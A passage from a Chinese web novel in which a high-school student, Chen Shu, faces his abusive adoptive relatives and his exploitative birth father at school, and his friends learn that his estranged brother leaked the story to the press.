许是这一巴掌让她心中原本的愤怒、不甘和仅剩的爱意都消散了,她蓦然觉得心中有些空荡荡的荒凉。 「……小风,要是他对你不好,你就回来找我!当年你是我们之中学得最好的,我相信你重新站在舞台上也是最棒的!」 「你不信吗?我说的是真的,你一直都是最棒的,就算……」 …… 戚和风偏过头,望向窗外,飞鸟从她的视线里翱翔飞过冲向泛蓝的天际,张洁莉的话语仿佛在她的耳边一遍遍回响。 ……重新站在舞台上也是最棒的吗?可是她已经错过了最佳的年龄,荒废了十几年的时间,如今的她还能行吗? 但……难道她要继续像只金丝雀一样被珠宝首饰、荣华富贵困在笼子里吗?不……她想要像那只小鸟一样冲向泛蓝的天际,飞向她曾经的舞台。 即使被富贵的生活浸淫了十几年,但戚和风人生最开始的前十几年日复一日的艰苦训练到底养成了她坚韧不拔、不屈不挠的性格底色,因此,仅仅是这一会儿的功夫她就想清楚了接下来要走的道路。 她收回视线,环顾四周,视线在一旁的单人床上愣了一下,少女蜷缩着身子躺在上面,一副睡梦中也不安稳的样子。 期期……期期怎么在这里?张世明居然把期期从学校里叫回来了吗?原本心情平静了下来的戚和风再次愤怒不已。 “妈妈……”躺在床上的少女仿佛在做着噩梦,闭着的眼眶里溢出泪水。 戚和风觉得心被扎了一下似的,她连忙出声道,“妈妈在呢,在呢!”她坐起身,下意识碰了碰泛疼的额头,发出“嘶”的一声。 张期期猛然睁开了双眼,“妈,你醒啦!”她从床上爬起来,连忙走过去坐在戚和风的身边。 “怎么样?妈!会不会还很疼?有没有恶心想吐的感觉?算了……我还是先去叫医生来看看吧?”张期期拔腿欲往病房外跑。 戚和风连忙抓住了她的手,“等等,期期。” 张期期担忧地看着她,戚和风连忙道:“我没事,没有恶心想吐的感觉,也不怎么疼了。” 她这般说着,张期期焦急的神色便缓和了下来,见此,戚和风顿了顿,沉默片刻后还是道:“期期……你怎么在这里?张世……”她硬生生改口道:“你爸爸把你叫回来的?” 张期期抿着唇,眼眸中瞬间溢出泪水,她摇了摇头,“不是的,我当时……我当时就在家里,在五楼。” “我昨天……昨天回家了,但是你们都不在,后面我睡着了……又被你们吵醒了……” “妈,我听见了……”张期期低垂着头,整个人显得很无措彷徨。 戚和风张了张口,一时间不知道该解释什么,作为成年人、作为家长,她让自己的孩子看到了父母相互埋怨、互相叫骂着刺耳的话语的场景,真是失职啊! 她长长地叹了一口气,伸手摸了摸女儿的发顶,“期期,不要担心,这是爸爸妈妈的事情,你现在高三,专心读书就好。” “妈妈……” * 翌日,因为张洁莉最近都在京照市,戚和风打电话叫了她过来,张期期见此,才松口答应去学校,“张阿姨,谢谢你帮忙守着我妈妈,一大早赶过来真是麻烦你了。我晚上会回来的。” 戚和风皱了皱眉头,“期期,晚上也不用回来了,妈妈这边有你张阿姨看着,没事的,你都高三了……你……” “妈。”张期期打算她的话,“妈,没事的。晚自修而已。我去上学了。” …… 京照一中。 出租车停在了校门口,张期期从车上下来后关上了车门,她背着书包看着出现在校门口的陈岩夫妻。 「曾老师又来找你,劝你去德国了吗?」 「嗯。」 「其实……就现在的情况,曾老师的提议挺有道理的。有时候,我也会想我真的很自私,想要陈恕你不要离开我……想要大家一直一直在一起。」 那日在操场她与陈恕的对话浮现在她的脑海里,张期期微微垂下了眼帘,遮住了眼底挣扎的情绪。 「……要不是因为你,我日复一日、年复一年地在家里等你回来,我的梦想早就被你拖垮了,要不是因为你,我也能像洁莉她们一样站在舞台上,要不是因为你,我会是今天这副模样吗?」 「我十几年的时间你怎么来承担……你现在和我说你后悔了……我就不后悔吗?」 「……要不是因为娶了你这个毫无助力的女人,张家哪里会被其他世家远远落下?」 …… 父母相互怨恨、责怪对方的话语也再次浮现在她的脑海里,这一切的声音搅合在一起合成刺耳噪杂的回响,张期期头疼欲裂,觉得天旋地转一般,她蹲下身子缓了缓。 ……她是不是做错了?她固执地想要陈恕在她的身边,不去德国,是不是做错了……连恩爱十几年的父母都会相互埋怨,埋怨对方阻挡了自己的步伐,更何况她和陈恕呢? 她和陈恕甚至连光明正大说他们之间是男女朋友都不行,她喜欢他,他也喜欢她,但这只是喜欢而已,若是将来喜欢这种情感被耗尽了,陈恕怨恨她阻止了他去德国学习,那将来她又该如何面对呢? “期期!你怎么了?”林听看见校门口蹲着的张期期愣了一下,连忙跑到她身边,压低声音急切地问道。 期期昨天莫名其妙请了假,他们一行人都很担心。又听陈恕说,陈岩夫妻是见过期期的,所以他们怕期期回校的时候万一被陈岩夫妻缠上,所以她自告奋勇地来校门口接期期。 兰亭、先哥之所以不来,是因为怕人太多,太显眼,而她又是女生,所以陈岩夫妻应该不会注意校门口来往的女生。 张期期闻声,抬头见是林听,便笑了笑,“我没事,可能是昨天晚上睡得不好。缓缓就好了……” “那你挽着我。” “好。” 进校门的时候,张期期余光瞥了一眼陈岩夫妻,曾经和陈恕一起约定的那个承诺开始逐渐动摇。 回到教室后,许兰亭用探究的目光紧紧地盯着张期期看,好半响他都看不出什么,只能选择开口问,“期期,昨天怎么请假了啊?你生病了吗?唔……看起来脸色确实有点不好。” 张期期眼眸微垂,平静道:“不是生病,家里有点事而已。” 与平日里活力四射的样子完全不同,此刻的张期期简直是难得一见的沉静,她这个反应是个人都知道有问题,但张期期闭口不提,陈恕、许兰亭、林听、周嘉先几人也没有办法。 一早上,张期期频频走神,陈恕攥紧手心的黑色水笔,一股深深的无力感漫上心头。平日里他心情不好的时候,期期总是能轻而易举地安慰到他,而现在呢?他甚至连她怎么了都不知道。 张期期一向是他们这几人中的开心果,只要有她在,气氛总是和乐、开怀的。但今日……无论许兰亭如何说笑打闹,张期期依旧笑容勉强、心不在焉,以至于最终许兰亭都只能无奈地放弃各种奇葩的耍宝行为,一行人之间气氛微妙诡异。 吃完午饭,重点一班教室里坐满了人,安静的教室内,同学们都沉浸在各自的学习进度中。 然而就在此刻,高三教学楼下爆发了一阵嘈杂、尖锐的咒骂声,以及有人哭天抢地的哀嚎声、无数音色的议论声、焦急的喝问阻拦声。 重点一班的同学们顿时愣住了,众人面面相觑,都不知道发生什么事了…… 坐在窗户边的同学循着声响探出头望向楼下,便见学校的保安大叔们纷纷伸开双臂奋力阻拦着几个一直想往教学楼内冲的男男女女。 他们的身后是扛着摄像头的摄影师,还有拿着话筒的记者。最外围是围观的学生,而不远处的校道上,校长、主任正往这边赶。 “这阵仗……是发生什么事了吗?” “挖槽,你们快看……楼下好多人啊!还有记者、摄像师呢?” …… 重点一班的同学们离开座位,挤到一起扒着窗户往下看,这么大的动静,一直心不在焉的张期期都回过神来。 摄像师、记者…… 她心脏猛地一阵跳动,下意识想起前阵子陈岩夫妻闹出来的那件事,会不会又是他们? 此刻不只是她,许兰亭、林听、周嘉先仿佛患上了摄像师、记者ptsd了,几人顿时如坐针毡,心如擂鼓。 陈恕抿了抿唇,眼神晦暗,是他的错觉吗?为什么,为什么他好像从嘈杂纷乱的声音中听出了那仿佛噩梦般的音色,会是她们吗?不……不可能的吧,维安市八石村离这里几千公里,她们怎么会到这里来…… “那个小兔崽子就是没良心的啊,我儿子养了他十几年,十几年啊,俗话说生恩不如养恩大,他倒好,说跑就跑了。” “是啊,不就是嫌弃我们大山里面穷吗?但我们再穷,不也是把他好好养大了吗?” “我滴儿啊……你养了个没良心的家伙,现在又去了,留下我这娘们可怎么活才好啊!” “要不是因为阿阳那小子,弟弟怎么会死啊?完全不顾念这么多年的情谊。” …… 围观的人群议论道:“阿阳是谁啊?这名字也太含糊了吧?谁知道是谁啊!” “就是……就是……不过都跑到这栋楼来了,肯定是高三的学生吧?” “怎么又是高三的啊?上次……” 正在哭天抢地哀嚎的一个老妇人、两个中年女人蓦然嚎叫声一卡顿,随即换了个名字喊,“陈恕……陈恕啊……难道奶奶、姑姑们都到这里了,你还不愿意见见我们吗?” …… 陈恕!又是陈恕!围观的学生顿时异常惊愕,他们下意识地望向一旁的陈岩夫妻,敢情都是找陈恕的?梅开二度吗? 陈岩夫妻往教学楼内冲的冲劲都卸了下来,什么……陈恕?她们也是来找陈恕的吗?难道这几个人是陈恕养父那边的人? 周遭的气氛顿时一滞,黄翠兰、黄翠香姐妹俩愣了下,这是怎么了吗? 陈岩瞪着眼,突然朝她们喊道:“你们是陈恕养父那边的?你们找陈恕干什么?我可是他亲爸。有什么事情冲我说就好。” ……这几人看起来就像是来找茬的,他要是帮陈恕解决这件事,会不会他就会出来见见他们呢?只要他出来了,他再借着这件事说说好话,陈恕一心软,是不是就能去配型,家宝是不是就有救了…… 想到这一点,陈岩顿时做出一副为儿子撑腰的形象来。 “你是陈恕的亲爸?”黄翠兰斜眼看着对方,随后突然恶狠狠地呸了一声,“我当是什么人呢?原来是将孩子卖掉的人,虎毒还不食子呢!” ……不行,这个人一定是想跟她们抢阿阳的人,阿阳可不能被糊弄过去,她们三还指望着他给她们养老呢!那些记者可说过她们阿阳现在要有大出息了。 听说高考要是能考到全省前十的排名,那可是有几万的奖金的,更别说上了好大学,出来工作之后肯定工资更高,到时候这份钱就是她们的了,正好……要不是他举报阿坤,阿坤就不会被抓,被判处死刑。 虽然她们非常恨阿阳那小子,但现在也没有别的办法了,她们三未来要想过得好,只能牢牢扒住有出息的阿阳了。 “你胡乱说什么?陈恕是我儿子,我怎么可能将孩子卖掉!明明是你们,拐卖了我的孩子,导致他现在和我一点都不亲近,我还没报警抓你们呢,你们倒好,现在居然还敢出现在我们面前。”陈岩立刻反驳喊道。 许是陈岩夫妻的出现让黄翠兰、黄翠香和她们的母亲意识到会有人和她们抢陈恕,于是三人立刻对上了视线,默契地转换了对策。 三人开始哭天抢地,“悲伤”地干嚎着,不再用那些逼迫、诋毁、威胁的话语,转而可怜兮兮地哭喊着,“我们养了你十几年,虽然不是亲生的,但也有感情啊……” “我们只是想见你一面而已啊,阿……陈恕……” 两拨人马透露出的信息量巨大,围观的学生目瞪口呆,不是吧……陈恕的身世这么复杂的吗?到底是不是人口买卖啊? 而一旁的摄像师和记者全程没有开口,但那个闪光灯一直频繁地闪烁着…… 教学楼上,高三重点一班扒在窗边的同学面面相觑,尴尬不已,这是吃瓜吃到自己班级的同学身上。他们悄悄瞥了一眼依旧坐在椅子上身姿挺直、巍然不动的陈恕,对方神色冷淡,仿佛没有被外界干扰到一般。 但……这仅仅是他们的错觉而已,少年手心紧紧地攥着黑色水笔,用力到指尖都发白了,他已经确定了,那熟悉的音色是他养父黄坤的母亲朱云燕,还有朱云燕的女儿黄翠兰、黄翠香…… 她们……她们居然来了……这一刻他头痛欲裂,过往的绝望和疼痛密密麻麻地涌了上来,仿佛要将他包围,溺毙其中,那些粘稠黑暗、令人窒息的情感永不褪色,他再次陷入年少的噩梦中,怎么也醒不过来。 眼前一阵阵发黑,他只能牢牢地攥着手中的黑色水笔,曾经他以为只要他牢牢抓住可以改变命运的笔,努力学习离开连绵的大山,他就能跨过年少的噩梦,然而此时此刻他突然意识到或许这才是老天赋予他的命运,痛苦和绝望才是他生命的底色,任他如何挣扎都是枉然,他终其一生似乎都无法摆脱一样。 或许……就这样吧,任由自己往下沉溺吧……陈恕缓缓合上双眼,指尖松开,攥在手心的笔即将掉落。 “陈恕——”张期期蓦然出现在他的身边,她伸出手,温热的掌心贴在少年的手背上,指尖缓缓用力包住他的手,黑色水笔重新被握在陈恕的手心里。 陈恕睫毛微微颤抖,睁开了双眼,少女明亮的双眼正在注视着他,那一刻他的世界仿佛天光乍亮,“期期……” 张期期笑了笑,温声道:“别担心,会好的。一切都会好的。”她的目光柔和静谧。 陈恕微微点头,看着微笑着的期期,他悄悄抿了抿唇,不知怎的,他心底又顿生了一丝丝的恐慌。 许兰亭、林听、周嘉先也围过来,许兰亭探出头看了一眼楼下,校长和主任都已经到了,正在和楼下的闹事的人交涉。 周嘉先沉声道:“别担心,校长、主任们会解决的。” “不。”陈恕突然站了起来,他望着眼底满是担忧的许兰亭、林听等人,再扫视了一遍教室内他的同学们,他们的目光无措、尴尬,仿佛撞破他的难堪反而是他们的错一样。 这些目光、视线、眼神没有一点恶意,有的仅仅是对他的关怀。 陈恕神色平静,“我总不能一直躲在大家的身后。” 许兰亭皱起眉头,“陈恕……你……” 陈恕看向张期期抿了抿唇,“期期,我下去一趟。” 张期期闻声望着他,四目相对好半响,张期期最终还是点了点头,“去吧……陈恕。”去直面你人生当中被困住的过去,然后远远离开,将这里抛下吧,你应该去更广阔的世界。 “嗯。”陈恕颔首,他的身后一定是那些担忧又心疼他的眼神,这……这是他的力量。他伸手摸了摸疯狂跳动的心脏,既是要面对过去的噩梦时,身体生理性的反应,同样也是因为承担着巨大的善意而心有颤栗。 …… 高三教学楼门口。 校长、主任焦头烂额地应付着眼前的情况,警察估计还要好一会儿才到。 就在此时,陈恕神色淡淡地出现在教学楼底下,见陈岩夫妻和朱云燕、黄翠兰、黄翠香几人的视线看过来之后,他二话不说,直接将身上包裹着他浑身伤疤的长袖校服径直脱下。 少年精瘦的腰身上、稚气的胸膛上满是长短不一、深浅不一的疤痕,密密麻麻地交错纵横着,一看就是常年累月被虐待出来的,更因为他肤质苍白,那些伤疤就显得更为触目惊心。 围观的学声猝不及防地看到这一幕,顿时一阵哗然,窃窃私语声交织在一起,嗡嗡嗡地响彻在他的耳边。 没什么大不了的,陈恕!真的没什么大不了的,将过往的不堪和伤痛掀开,在赤裸的阳光下暴晒,这没什么大不了的。 学生们有的瞪大双眼,不敢置信,有的闭 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上双眼,撇过头,不忍直视。 校长、主任愣了下,循着对面学生的视线缓缓转过身,看见的便是这么一个千疮百孔的少年。 陈恕甚至转过身,将同样尽是伤疤的背部展现在众人的眼底,不再流血的伤口表面上仿佛已经痊愈,但只有陈恕知道因为超忆症,被鞭打时身体的疼痛和下意识的身体抽缩,以及伤口在缓慢愈合时散发的痒意一直在夜深人静的时候时不时地侵袭着他。 周遭的眼神落在他的身上,让他头皮发麻,仿佛针扎一样扎在皮肤上,他知道这种感觉也让伴随着他的一生,但同样是在此刻,他仿佛感受到了从心底漫上来的痛快! 看啊……这就是你们对我的伤害,我不再需要包裹着它,处处隐藏。我是受害者,被伤害不是我的错,凭什么是我要费劲心思为你们隐藏。 校长、主任回过头来,指尖抖了又抖,两人下意识想解开身上的衬衫给少年披上,然而指尖搭在扣子上时,他们才意识到天气炎热,他们也只是穿了一件短袖的衬衫而已。 下一刻,他们的视线立刻转移到陈恕手上的衣服,主任立刻小跑过去,不到一米七的瘦小个子却企图挡住身后一米八多的少年。 校长跑过去,从他手上扯下衣服,奋力地想将衣服给他套上,又急又气又心疼,“穿上,快穿上!这事我们能解决的,用不着你这样。” 陈恕抿着唇,顺从地将衣服穿上了,他绕开仿佛护犊子一样站在他身前的教导主任,神色淡淡,“我身上的伤疤都是这十几年来你们虐待我留下的证据,我们之间根本没有所谓的情谊,就算有,那也是我对你们的恨意。” “我的养父黄坤,抢劫故意伤人致死,被判处死刑更是律法的公正,这和我有什么关系。” 朱云燕瞪大双眼,神色扭曲,怒火冲散了她的理智,那些暂时看不到的好处并不能抚平他失去儿子的心情,她破口咒骂道:“和你没关系?你有没有良心,要不是你偷偷举报他,他怎么会被抓!” 陈恕嘲讽一笑,并不与她们反驳互骂,因为他知道她们就是这么蛮横无理、愚蠢无知的。 …… 另一边,重点一班教室内。 张期期用力地掐着手心伫立在原地,脑海中的弦一直紧紧地绷着,她在克制着自己,克制着自己往下跑的冲动。 她的喜欢、她的维护似乎都变成了陈恕人生新的枷锁,她固执自以为是的约定困住了陈恕曾经想要飞到的人生高度。 这时,教学楼底下的哗然清晰地传到了楼上,她脑海中的弦顿时崩断、拔腿就往下跑,最后一次,这是最后一次了…… 跑得快了,脚腕隐隐约约传来刺痛的感觉,张期期浑然不理。 「……就算有,那也是我对你们的恨意。」 「……这和我有什么关系?」 她知道陈恕将自己的伤疤摊开,以自己的伤痛来反驳这些人的厚颜无耻,朱云燕的咒骂响彻在她的耳边,张期期勃然大怒,“你搞清楚,是陈恕绑着他硬让他抢劫、伤人致死的吗?不是!” “陈恕举报又有什么错,他这可是大义灭亲,啊不——谁跟你们亲啊?晦气!” “你们怎么对陈恕的,你们自己心里清楚,那样的伤害他怎么反击都不为过,更何况只是举报一个确实伤人致死的罪犯,他可没错!” 张期期噼里啪啦地一句句反驳回去,气喘吁吁地站在陈恕的身边,与此同时,许兰亭、林听和周嘉先也都跑了下来,站在了陈恕的身后…… 不……不只是他们,还有重点一班的同学,他们要么站在陈恕的身后,要么因为实在没位置了,只能挤在楼道口上。 蒋文嘟嘟囔囔道:“上回那次是在校门口,我们都不知道,凭白让我们班同学被针对、被欺负,想想就呕气!” 侯蕊双手抱胸点头道,“是!上次等我们知道,事情都摆平了!按我说啊,上次曾老师就不该偷偷叫陈恕出去,咱们班一起出去,看谁敢欺负我们40多个人!” “就是就是,我今天就站这了……”关宇绷着脸,颇有“一夫当关万夫莫敌”的气势。 “期期骂得真爽!可算出了一口气了!”王思恨铁不成钢道:“陈恕就是嘴太笨了,是不是聪明劲都加在脑子上了!” …… 重点一班的同学自以为地压低嗓音,但前方的校长、主任和陈恕等人听得清清楚楚。 校长&主任:……不是!你们重点一班的怎么全都一副刺头样? 嘴太笨的陈恕:…… … 朱云燕被怼得脸色铁青,黄翠兰、黄翠香四目相对,都看到对方眼里的不妙。 他们没想到陈恕在这里居然生活得不错,学校的校长、主任居然没有嫌弃他惹事,反而为他撑腰,还有他的同学,居然同样没有排斥、看不起他,这让她们的计划很难实施。 在她们的预想里,陈恕这个大山出来的人应该在学校格格不入,被城市里的孩子嫌弃,排斥孤立,若是这样,她们即便以前对他不好,但这么孤立无援、毛都没长齐的孩子最容易拿捏了,只要她们稍微显得温情一点,他获得的奖学金和以后有出息了赚的钱还不是由她们捏在手里。 但现在看来,她们的打算是要落空了啊! 黄翠兰沉着脸想了想,总之她们这一趟绝不能空手而归,她开口道:“那我们也抚养了他,十几年的抚养费你们得还吧?” “对!正好……那个谁,你们,对你们……”黄翠香指着陈岩道,“你不是说你是陈恕的亲生父亲吗?那这笔钱你来还!” 钱!钱!钱! 陈岩的妻子眼神顿时犀利起来,自从孩子生了病,他们家已经花费了很多钱,是绝对不可能为陈恕掏一分钱的,更别说这小崽子还不愿意给他们家宝配型!钱!想都别想! 无独有偶,陈岩同样是这么想的,他反驳道:“这不可能,凭什么要我们出这笔钱。” “你不是说你是陈恕的亲生父亲吗?你不出谁出啊……” “你……你们……”陈岩哑口无言,梗着脖子道:“总之,想都别想!” 两拨人马丑态百出,事情闹到现在已经足够围观的任何人都知晓这两拨人马对陈恕都是冷酷无情的人,即便他们是陈恕的亲生父亲又或者陈恕被领养的家庭的成员。 望着眼前的闹剧,校长、主任心累不已,而一旁的摄影师、记者不知怎的,这一次居然安安静静地站着,无声地记录着。 张期期心里很不好受,眼里布满担忧,她扯了扯陈恕的袖口,静静地望着他。 陈恕轻轻拍了拍她的手背,向她传递他没事的意思,随后他看向陈岩夫妻二人、以及朱云燕、黄翠兰、黄翠香几人。他们就像他身体的附骨之痛一样,不把他榨干掉最后一丝价值,他们都不会愿意让他好过。 而他的身后、身边,不用看他都知道校长、主任、他喜欢的女孩、挚友、同学都在尽自己的力量去守护他,既如此,他又怎么能让他们失望呢? 陈恕眉眼冷淡下来,“如果你们再来闹事,我完全可以起诉你们,起诉你们虐待我,我一身的伤疤就是证据,起诉你们买卖幼童,就算黄坤已经死了,但你们,朱云燕、黄翠兰、黄翠香,你们也是从犯!” “陈岩,我绝对不会去配型的。你死了这条心吧!你就算跪死在校门口,我也不会答应的。那两个人贩子、凶手到底是为什么闯进家里,你应该清楚吧。” 闻言,这些人顿时心虚不已,而陈恕身后的重点一班的同学此刻却纷纷瞪大了双眼,互相看着彼此,确认方才他们听到的信息。 ……一身伤疤!一身伤疤!他们终于明白过来了,明白为什么陈恕即使在大夏天也穿着长袖校服,将自己捂得严严实实的。 愤怒、不平的情绪充斥在他们的胸腔上下翻滚着,重点一班的同学中有人喊了一声,“我特么的,忍不住了!人渣人渣!” “靠!这回可不能怪我打女人了啊!” “我今天一定要扯她们的头发!” “……” 蒋文、王思、关宇、侯蕊、雷婷几人拔腿就想往前冲,他们伸长了胳膊就想揍人! 校长:“!!!” 主任:“!!!” 校长嗓子都喊得破音了,“拦住!快拦住他们!” 保安连忙拦住陈岩夫妻、朱云、黄翠兰、黄翠香几人,主任破音喊道:“不对不对!你们快转过身来,拦错了拦错了!拦学生!拦学生啊!!” 陈恕看着从自己身边冲过去的同学:??!! 恰在这时,警察终于来了,闹事的不论是陈岩夫妻还是朱云燕她们,全部都被警察给带走了。 而那些在一旁沉默着的摄像师、记者便是在这个时候解释他们没有闹事,只是听说这里有新闻才跑过来的,而且他们根本没有采访任何人。迫于这一点,警察最终没有将他们带上警车。 而作为整个事件中心的陈恕自然也去了派出所,张期期、许兰亭、林听、周嘉先强烈要求同去,校长、主任无可奈何,又怕陈恕没有同龄人一起陪着去派出所会被吓到,因此只能同意带着他们几个一起去派出所。 至于重点一班的其他同学自然是后来被校长和主任训了整整一节课,不过这都是后话了。 * 派出所里,张期期、林听、许兰亭和周嘉先等人已经先从房间内出来,几人坐在走廊的不锈钢长椅上,这一幕就像是当初在黑木镇的派出所一样。 陈恕、校长、主任还在和派出所的警察交代事情,陈恕几乎将自己的前十几年遭遇的所有事情说了出来,一旁的校长和主任听得眉心直皱,心里不断地叹着气…… “警察先生,就……就没有什么办法能够……哎……” 校长叹着气,陈恕的亲生父亲的所作所为根本无法判刑,他只是道德层面有问题,要说法律层面,还真治不了他的罪。 陈恕是被拐卖的,不算是陈岩弃养。至于陈恕的养父,买卖幼童、虐待幼童这件事确实他是有罪,是主犯,但对方已经被执行了死刑,顶多只能起诉陈恕养父的母亲和姐姐们,但想来她们的罪行应该也判不了什么解气的刑罚。 只有陈恕,只有陈恕这孩子,切切实实地受了那么多年的苦,却仿佛“哑巴吃黄莲,有苦说不出。” 陈恕微微笑了笑,温声朝校长道:“校长,没关系的,我已经将那两个杀害我妈妈的凶手送进监狱了,他们被判了死刑,这一点就已经够了。” 后来,陈恕先出了问询房间,而校长和主任作为学校的负责人还要再呆一会儿处理后续的事宜。 …… 艳阳高照,道路两旁树影婆娑。 张期期、陈恕一行人走在树荫下,前方一公里外才有直达学校的公交车。 这事仿佛也落下了帷幕,林听一直提着的那口气终于缓缓呼了出去,她其实对没有职业道德的媒体记者抱有深深的敌意,以及忌惮。 “这些媒体记者真过分。”她罕见地愤怒道。 今天一早上先是张期期情绪不好,接着又是陈恕的事情,所以此时一行人心情还是有些沉重,许兰亭有心缓解这样的气氛,便夸张地笑着道:“那以后社会上的是非曲直、毁誉忠奸就由我们林大记者书写了~我们林大记者肯定会秉笔直书,抨击丑恶,维护世间正义公平!” “铁肩担道义,妙笔著文章,说的就是我们林听!” 张期期、陈恕、林听、周嘉先先后“噗呲”一声地笑出来,随后纷纷鼓起掌。他们笑了,许兰亭才真心地笑了出来。 林听红了脸,“哪有那么夸张啊?我只是……只是想要执笔为文,捍卫真理而已。”……她不想更多的人像她和陈恕一样被凭空捏造真相,被歪曲事实。 张期期微微笑道,“真好啊……” ……真好啊,能够坚持自己要走的道路。 她眼眸沉静,嘴角微扬,“那……陈恕你呢?能告诉我,你将来想要从事的行业是什么吗?啊,不,应该说你最开始想去德国时报的是什么专业啊?” “法学。” 啊……法学,张期期想起陈恕的过往,她沉思着点了点头,真的很适合呢……原来这就是陈恕的理想啊!这才是不被任何人禁锢,陈恕内心真正想的愿望,独属于他个人的未来想法。 …… “其实……当年的事还有另外一个人逃脱了罪责,那个人就是陈岩。那两个凶手之所以会锁定我们家,就是因为陈岩。上瑶村拆迁腾出地来建京照一中时,每家每户都得到了一笔大钱,是陈岩在外说漏了嘴,这才引狼入室。” 陈恕垂着眸,继续道,“但是这笔钱陈岩根本没有放在家里,而是放在他出轨了的小三家中。我妈妈根本不知道这笔钱放在哪里,凶手却固执地认为是我妈妈不愿意说,最终……” 他的话未尽,但大家都明白了。 “明明陈岩也是凶手之一,但是仅仅是这样,根本没办法追究他的责任,如果……如果我好好学法律,是不是能找到解决的办法……” “陈恕……”张期期望着他,轻声喊着。 …… 101. 第 101 章 - 京照一中,校道上空荡荡的,张期期一行人回到学校时已经是下午第一节课了。 曾培双手背在身后,巡视着教室内正在刷语文试卷的学生,中午发生的事情教导主任已经告知过他了。再次发生这种事情,他忧愁不已。 “曾老师……我们回来了。”周嘉先站在门外道。 曾培闻言,立刻转头望过去,他的视线在他们几人的脸上扫过,见他们都神色平淡,他心里松了一口气,看起来还好还好…… “进来吧。你们的试卷放在桌面上了,这节课是你们自由答题。” …… 教室内的同学闻声,也下意识陆陆续续地望过去,只是看了一眼之后他们便神色自然地收回视线,继续答题。 陈恕走进教室,站在了讲台上,他抿了抿唇,“今天中午的事谢谢大家。” 安静的教室里,少年虽然声音低沉,但重点一班的同学都听到了,他们抬眸看过去,陈恕在讲台上深深地鞠了一躬。 陈恕直起身子的时候,视线撞上讲台下眉眼带笑的同学们,他们虽然没有说话,但眼底的温和和鼓励流露了出来,陈恕心一暖,再次道:“真的……谢谢大家。” 曾培也笑了,“好了,把试卷做完吧。这事过去了……” * 窗外树影摇曳,微风吹过,满树的树冠发出微弱的沙沙声。 张期期看着只做了几道题的语文试卷,神情低落,杂乱的思绪齐齐涌现在她的脑海里,理不清,剪不断。 下午第二节课的下课铃声响起,曾培脚步匆匆地走出教室之后,张期期将黑色水笔随手一丢,摸出手机攥在手心起身走了出去。 下午的大课间,有20分钟的下课休息时间。她想找个安静、没人的地方好好想一想,再给妈妈打个电话。 学校图书馆是两个圆柱形的建筑交缠在一起,一栋两层,一栋四层,两层建筑的顶层是个半圆形的天台,高大的榕树树冠仿佛遮天蔽日一样将天台完全盖住了,洒下一整片的阴凉。 张期期正准备拐个弯走入半圆形的天台,脚步却突然一滞,天台上已经站着个身形清瘦的男生,对方背对着她,微微垂着头正在听电话。 ……有人了?算了,换个地方吧。张期期收回视线,准备离开。 “今天陈恕这件事啊……新闻想写到什么程度啊?唔……我希望标题和内容具有争议性一点,足够吸引大众眼球,这件事我希望尽可能地让大众知晓。” 【不太好吧……我们会被追究的。】 男生换了个姿势,小臂自然放松地放在天台的围栏上,“追究?嗤——你们这么大的公司还怕被追究,怕被追究?我告诉你们这件事的时候你们怎么不拒绝这个报道,不就是看中了这件事的争议度吗?嗯……就这样吧。” …… 曾逸飞挂断了电话,嘴角绷直,他看着手机里偷拍到的陈恕的照片,低声喃喃道:“哥哥……赶紧离开京照市吧。其实……我也不想这么做的,但没办法,这件事对你对我都好。以后……你会理解的吧?” 他欲离开,转身的瞬间便见张期期悄无声息地站在他的身后,他瞳孔皱缩,脸上露出极度慌张的神情。 她什么时候出现在这里的?又听到了多少? 这两个疑问才刚闪过他的脑海,他的视线就落在屏幕亮着的手机上,上面是……正在录音…… “删掉。”曾逸飞沉声道。 张期期面无表情地瞥了他一眼,将手机收起来,“你是陈最。”她肯定道。 曾逸飞闻言,脸色顿时变得阴郁起来,“你想怎么样?是告诉陈恕,我是他的弟弟吗?” “是该我问你,你想怎么样?你想逼陈恕离开京照市?为什么?” 她想到陈恕每到一个地方就在该地的街头巷口张贴寻人启事,想到陈恕明明光助学金和奖金就能够养活自己了,但却为了在各大付费网站首页刊登陈最的寻人启事,而不断地兼职着,想到陈恕明明觉得希望不大,却还是抱着最后一丝希望等待着弟弟…… 而他的弟弟呢?明明认出来陈恕了,明明和陈恕咫尺之近,却不愿意认他,不愿意就算了,还利用媒体记者在众人眼前狠狠揭起他的伤疤,就为了逼他离开…… 张期期越想越愤怒,她为陈恕感到不值,他的弟弟就是个狼心狗肺的家伙,“你知道吗?陈恕从来没有放弃过找你……” “找我?”曾逸飞露出愤懑的眼神,“找我干什么?找我回去受苦吗?陈岩是个什么东西你也清楚,一切早就回不去了,我和他各自过好自己的生活不就行了吗?执着于过去干什么?有意义吗?” “你在说什么?”张期期瞪大双眼,“你过得好,陈恕只会高兴,他怎么可能破坏你现在的生活!他只是想知道找到你,你过得好,他不会打扰,你过得不好,他就算是拼尽一切,都会当好一负责任的哥哥。” “他的存在就是在打破我现在美好的生活!!他的存在就是我过去耻辱生活的罪证!!他的存在只会让陈岩缠上我!!”曾逸飞一字一句咬牙切齿。 张期期怒极反笑,眼里满是嘲讽,“你不配,你不配是陈恕的弟弟。” 曾逸飞神色阴沉,再次道:“删掉!” “删掉可以,你现在立刻打电话给刚才的人,停止他们接下来关于陈恕的报道。”张期期警惕地盯着对方。 曾逸飞扯了扯嘴角,一步步走向张期期,“这里就我和你,你以为你能跑得了?”他伸手欲抢张期期手里的手机。 “你放开我——不然我要动手了?”张期期冷声喊道。 …… “逸飞。” 这熟悉的声音……曾逸飞顿时僵在原地,头皮发麻,心如擂鼓,他缓缓松手抬眸望过去,只见从内部图书馆走到天台的通道口处站着他的养父曾培,以及……养父身旁微微垂着眸的陈恕。 “爸……你、你们……”他嘴唇轻启,瓮声道。 张期期赶紧攥着手机,转过身,视线里出现少年清瘦的身形,他垂着眼帘遮住了眼底的情绪,“陈恕……我……” 一阵风吹过,头顶的树冠晃动,斑驳的光影在地面上跳跃着,而天台上气氛沉凝。 曾培怎么也没想到他只是赶来图书馆拿一下学校发下来的重要文件而已,怎么就……他的目光落在十年精心爱护的儿子上,他怎么也没想到他和妻子心兰居然将孩子养成这样?自私、狠心,薄情。 他转过身看着陈恕,眼神恳切又惭愧,“对不起,陈恕。他做出这样的事情是我这个当爸爸的错……” 曾逸飞慌张道:“爸……爸!不,不是你的问题。” 见曾培对他的话无动于衷,曾逸飞意识到这件事的关键点在陈恕身上,他这才看向陈恕,“陈恕……不关我爸爸的事,都是我做的,对不起……” 